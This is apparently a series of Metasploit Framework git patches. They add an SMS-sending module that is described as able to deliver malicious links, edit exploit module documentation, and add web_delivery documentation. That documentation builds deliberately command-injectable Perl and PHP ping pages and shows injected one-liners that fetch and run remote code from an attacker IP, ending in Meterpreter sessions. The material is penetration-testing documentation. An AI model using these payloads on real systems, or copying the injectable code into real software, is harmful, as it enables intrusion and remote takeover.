"#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + smtp.send_message(message, from, recipients) + end + ensure + smtp.finish if smtp && smtp.started? + end + end + + + private + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Sms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Sms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Sms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/sms/exception.rb b/lib/rex/proto/sms/exception.rb new file mode 100644 index 0000000000..241f879f20 --- /dev/null +++ b/lib/rex/proto/sms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb new file mode 100644 index 0000000000..13f19a0e18 --- /dev/null +++ b/lib/rex/proto/sms/model.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + module Model + + GATEWAYS = { + :alltel => 'sms.alltelwireless.com', # Alltel + :att => 'txt.att.net', # AT&T Wireless + :boost => 'sms.myboostmobile.com', # Boost Mobile + :cricket => 'sms.mycricket.com', # Cricket Wireless + :sprint => 'messaging.sprintpcs.com', # Sprint + :tmobile => 'tmomail.net', # T-Mobile + :verizon => 'vtext.com', # Verizon + :virgin => 'vmobl.com' # Virgin Mobile + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/sms/model/smtp' +require 'rex/proto/sms/client' diff --git a/lib/rex/proto/sms/model/smtp.rb b/lib/rex/proto/sms/model/smtp.rb new file mode 100644 index 0000000000..18edc9b4b0 --- /dev/null +++ b/lib/rex/proto/sms/model/smtp.rb @@ -0,0 +1,62 @@ +module Rex + module Proto + module Sms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Sms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb new file mode 100644 index 0000000000..96c3a78d64 --- /dev/null +++ b/modules/auxiliary/client/sms/send_text.rb @@ -0,0 +1,34 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Sms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SMS Client', + 'Description' => %q{ + This module sends a text message to multiple phones of the same carrier. + You can use it to send a malicious link to phones. + + Please note that you do not use this module to send a media file (attachment), + because that is MMS. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...") + res = send_text(phone_numbers, datastore['SMSMESSAGE']) + print_status("Done.") + end + +end diff --git a/spec/lib/rex/proto/sms/client_spec.rb b/spec/lib/rex/proto/sms/client_spec.rb new file mode 100644 index 0000000000..688435497f --- /dev/null +++ b/spec/lib/rex/proto/sms/client_spec.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Sms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Sms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_text_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + end + + it 'sends a text message' do + subject.send_text_to_phones(phone_numbers, message) + expect(@sent_message).to eq(message) + end + end + +end diff --git a/spec/lib/rex/proto/sms/model/smtp_spec.rb b/spec/lib/rex/proto/sms/model/smtp_spec.rb new file mode 100644 index 0000000000..48b7a2b9bb --- /dev/null +++ b/spec/lib/rex/proto/sms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Sms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end From 82073020ef2604748796349a08756afff0e37dcc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 2 Mar 2017 17:24:48 -0600 Subject: [PATCH 285/426] only enumerate framework files if we're building a gem --- metasploit-framework.gemspec | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 05ac944ffb..3e8173ee55 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -4,10 +4,14 @@ # we must manually define the project root if ENV['MSF_ROOT'] lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) + files = `git ls-files`.split($/).reject { |file| + file =~ /^documentation|^data\/gui|^external/ + } else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. + # have to use realpath as metasploit-framework is often loaded through a + # symlink and tools like Coverage and debuggers require realpaths. lib = File.realpath(File.expand_path('../lib', __FILE__)) + files = [] end $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) @@ -24,10 +28,8 @@ Gem::Specification.new do |spec| spec.homepage = 'https://www.metasploit.com' spec.license = 'BSD-3-clause' - spec.files = `git ls-files`.split($/).reject { |file| - file =~ /^documentation|^data\/gui|^external/ - } - spec.bindir = '.' + spec.files = files + spec.bindir = '.' if ENV['CREATE_BINSTUBS'] spec.executables = [ 'msfconsole', From 354fabe123aa33b823c8e5df428090e3c251afd3 Mon Sep 17 00:00:00 2001 From: Rok Ajdnik <r.ajdnik@gmail.com> Date: Fri, 3 Mar 2017 15:37:01 +0100 Subject: [PATCH 286/426] Address pull request feedback --- .../windows/browser/ms14_064_ole_code_execution.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md index 6a0dfe3a41..4e30bf8542 100644 --- a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md +++ b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md @@ -1,10 +1,9 @@ ## Vulnerable Application -This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. +This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. ## Verification Steps -1. Install the application 1. Start msfconsole 1. Do: ```use exploit/windows/browser/ms14_064_ole_code_execution``` 1. Do: ```Choose a payload and set any specific options``` @@ -22,7 +21,9 @@ Allow exploit to try Powershell. If exploiting a Windows 7 target you need to en ## Scenarios -Example usage against a Windows XP Professional SP3 x86 running Internet Explorer 8.0.6001.18702. The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`. +### Windows XP Pro SP3 x86 with IE 8.0.6001.18702 + +The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`. ``` msf > use exploit/windows/browser/ms14_064_ole_code_execution @@ -57,7 +58,9 @@ Logged On Users : 2 Meterpreter : x86/windows ``` -Example usage against a Windows 7 Professional SP1 x64 running Internet Explorer 8.0.7601.17514. The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7. +### Windows 7 Pro SP1 x64 with IE 8.0.7601.17514 + +The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7. ``` msf > use exploit/windows/browser/ms14_064_ole_code_execution From c61f8ded783215ddb1d8b1a1643ca2a635e9f861 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 11:09:04 -0600 Subject: [PATCH 287/426] Comment out Sprint It looks like the Sprint gateways won't accept our email for some reason, so we can't use it. --- lib/rex/proto/sms/model.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb index 13f19a0e18..93a4f6ee14 100644 --- a/lib/rex/proto/sms/model.rb +++ b/lib/rex/proto/sms/model.rb @@ -10,7 +10,11 @@ module Rex :att => 'txt.att.net', # AT&T Wireless :boost => 'sms.myboostmobile.com', # Boost Mobile :cricket => 'sms.mycricket.com', # Cricket Wireless - :sprint => 'messaging.sprintpcs.com', # Sprint + # Sprint is commented out, because the gateways don't seem to work. + # Gateways tried for Sprint: + # messaging.sprintpcs.com + # pm.sprint.com + #:sprint => 'messaging.sprintpcs.com', # Sprint :tmobile => 'tmomail.net', # T-Mobile :verizon => 'vtext.com', # Verizon :virgin => 'vmobl.com' # Virgin Mobile From 2edb116855d1588026901657ccc85dd4c577d8c9 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 11:12:59 -0600 Subject: [PATCH 288/426] Send texts individually If we pass all the phone numbers at once in one email, it becomes a group chat, and that allows the recipients to see each other's number, which isn't the intended behavior. --- lib/rex/proto/sms/client.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb index 6a9cd46deb..be1d973efa 100644 --- a/lib/rex/proto/sms/client.rb +++ b/lib/rex/proto/sms/client.rb @@ -51,7 +51,9 @@ module Rex begin smtp.enable_starttls_auto smtp.start(helo_domain, username, password, login_type) do - smtp.send_message(message, from, recipients) + recipients.each do |r| + smtp.send_message(message, from, r) + end end ensure smtp.finish if smtp && smtp.started? From fa43928a8ed1ca0f4fb884dee2cb9defdcee0928 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 11:27:31 -0600 Subject: [PATCH 289/426] Rm Sprint from doc --- documentation/modules/auxiliary/client/sms/send_text.md | 1 - 1 file changed, 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index 7f1fb23e99..c6746b31cd 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -55,7 +55,6 @@ The module supports the following carriers: * AT&T Wireless * Boost Mobile * Cricket Wireless -* Sprint * T-Mobile * Verizon * Virgin Mobile From d9b21b16a9276ae8529577ec833cc5db07a50e5f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 11:36:13 -0600 Subject: [PATCH 290/426] Support Google Project Fi gateway --- documentation/modules/auxiliary/client/sms/send_text.md | 1 + lib/rex/proto/sms/model.rb | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index c6746b31cd..4d7543aedb 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -58,6 +58,7 @@ The module supports the following carriers: * T-Mobile * Verizon * Virgin Mobile +* Google Fi ## Finding the Carrier for a Phone Number diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb index 93a4f6ee14..fe4dacfa4c 100644 --- a/lib/rex/proto/sms/model.rb +++ b/lib/rex/proto/sms/model.rb @@ -17,7 +17,8 @@ module Rex #:sprint => 'messaging.sprintpcs.com', # Sprint :tmobile => 'tmomail.net', # T-Mobile :verizon => 'vtext.com', # Verizon - :virgin => 'vmobl.com' # Virgin Mobile + :virgin => 'vmobl.com', # Virgin Mobile + :google => 'msg.fi.google.com' } end From 4d44911d5cc0563619f4e0f2c2b5abd10bd83830 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 11:38:47 -0600 Subject: [PATCH 291/426] Do doc for google fi --- documentation/modules/auxiliary/client/sms/send_text.md | 2 ++ lib/rex/proto/sms/model.rb | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index 4d7543aedb..6101e66483 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -67,6 +67,8 @@ how to identify the carrier of a phone number. There are many services that can http://freecarrierlookup.com/ +Note: If the phone is using Google Fi, then it may appear as a different carrier. + ## Gmail SMTP Example Gmail is a popular mail server, so we will use this as a demonstration. diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb index fe4dacfa4c..c98ecf6dca 100644 --- a/lib/rex/proto/sms/model.rb +++ b/lib/rex/proto/sms/model.rb @@ -18,7 +18,7 @@ module Rex :tmobile => 'tmomail.net', # T-Mobile :verizon => 'vtext.com', # Verizon :virgin => 'vmobl.com', # Virgin Mobile - :google => 'msg.fi.google.com' + :google => 'msg.fi.google.com' # Google Project Fi } end From 48e06e27b0f5f973febf1d5a2fa2cae652103d5c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 3 Mar 2017 12:00:07 -0600 Subject: [PATCH 292/426] Fix #8052, remove forgotten OUTPUTPATH option Fix #8052 --- modules/auxiliary/pdf/foxit/authbypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index bcf0040fa6..aaf8bc43fa 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -33,8 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']) ], self.class) end From bb140b95817fbd6bf1500438368b2a89ca8c36bc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 3 Mar 2017 13:38:16 -0600 Subject: [PATCH 293/426] fix deprecated target ARCH --- modules/exploits/windows/http/ektron_xslt_exec_ws.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb index 01478bc245..df6f4c6c8f 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -38,7 +38,7 @@ execute in the context of IIS on the remote system. 'Privileged' => true, 'Targets' => [ - ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X86_64, ARCH_X86 ] }] + ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 05 2015' From b5afac6627ef69a63b4799a53c42e9a7b00668a2 Mon Sep 17 00:00:00 2001 From: Pearce Barry <pearce_barry@rapid7.com> Date: Fri, 3 Mar 2017 16:01:44 -0600 Subject: [PATCH 294/426] Per PR #8054, we don't need the OUTPUTPATH option here. --- modules/auxiliary/sqli/oracle/droptable_trigger.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index e2e0520df4..e307935ce2 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -32,9 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), - + OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) ], self.class) end From 8486624ed145fdb35d3cff89cef7a079fb9614e5 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Fri, 3 Mar 2017 21:19:01 -0500 Subject: [PATCH 295/426] box to boxes --- .../exploit/windows/browser/ms14_064_ole_code_execution.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md index 4e30bf8542..37cef21789 100644 --- a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md +++ b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md @@ -1,6 +1,6 @@ ## Vulnerable Application -This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. +This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 boxes. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. ## Verification Steps From feaa4b08e959a142900f3601b2fd44063df1b750 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sat, 4 Mar 2017 15:40:52 -0500 Subject: [PATCH 296/426] include example vuln pages --- .../exploit/multi/script/web_delivery.md | 209 +++++++++++++++++- 1 file changed, 207 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 91c213f82d..8d51bcbe75 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -71,6 +71,211 @@ web_delivery is also useful to upgrade a shell type payload to a Meterpreter one Here's how that can be done: -1. Start exploit/multi/script/web_delivery that generates/ -2. In msfconsole, interact with the shell, and copy/paste the command. +1. Start `exploit/multi/script/web_delivery` that generates the command to inject. +2. Interact with the shell, and copy/paste the command. 3. You should get a Meterpreter session. + +## Vulnerable Pages + +### Perl cgi + +These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2016.2) was utilized for this tutorial. + +#### Setup + +In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. + +1. Enable cgi: `a2enmod cgid` +2. `mkdir /var/www/cgi-bin` +3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags +4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`: +``` +#!/usr/bin/perl +use CGI qw(:standard); +$query = new CGI; +print $query->header( -type=> "text/html"), + $query->start_html(); +$query->import_names( 'Q' ); +if ( $Q::ip ) { + print system("ping -c 1 $Q::ip"), "<hr>"; +} +print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), + $query->p("Enter IP to ping:"), + $query->textfield(-name=>"ip"), #, -id=>"ip"), + $query->submit(-name=>"submit"), + $query->end_form(), + $query->end_html(); +``` +5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl` + +We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. +`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` +``` +<!DOCTYPE html + PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> +<head> +<title>Untitled Document + + + +PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms +www-data +0

Enter IP to ping:

+ + +``` + +### Exploitation + +1. `use exploit/multi/script/web_delivery` +2. `set lhost 192.168.2.117` +3. `exploit` +``` +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/vNPlsjE +[*] Local IP: http://192.168.2.117:8080/vNPlsjE +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());" +msf exploit(web_delivery) > +``` +Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation is most likely successful. +``` +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.117 +[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500 +``` + +or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us: +``` +msf exploit(web_delivery) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp +[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" +msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" +[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit" + + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.117 +[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500 +100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233 +100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit +msf exploit(web_delivery) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117) +``` + +### PHP + +In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. + +1. Enable cgi: `a2enmod php7.0` +2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`: +``` + + + "); + } + print("
+

Enter IP to ping:

+
"); + ?> + + +``` + +We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. +`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` +``` + + + PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms +www-data +
+

Enter IP to ping:

+
+ +``` + +### Exploitation + +1. `use exploit/multi/script/web_delivery` +2. `set lhost 192.168.2.117` +3. `set target 1` +4. `set payload php/meterpreter/reverse_tcp` +5. `exploit` +``` +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/de3uw0 +[*] Local IP: http://192.168.2.117:8080/de3uw0 +[*] Server started. +[*] Run the following command on the target machine: +php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));" +msf exploit(web_delivery) > +``` +Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation is most likely successful. +``` +[*] 192.168.2.117 web_delivery - Delivering Payload +[*] Sending stage (33986 bytes) to 192.168.2.117 +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500 +``` + +or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us: +``` +msf exploit(web_delivery) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp +[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());" +msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" +[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit" + + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed +100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344 +[*] 192.168.2.117 web_delivery - 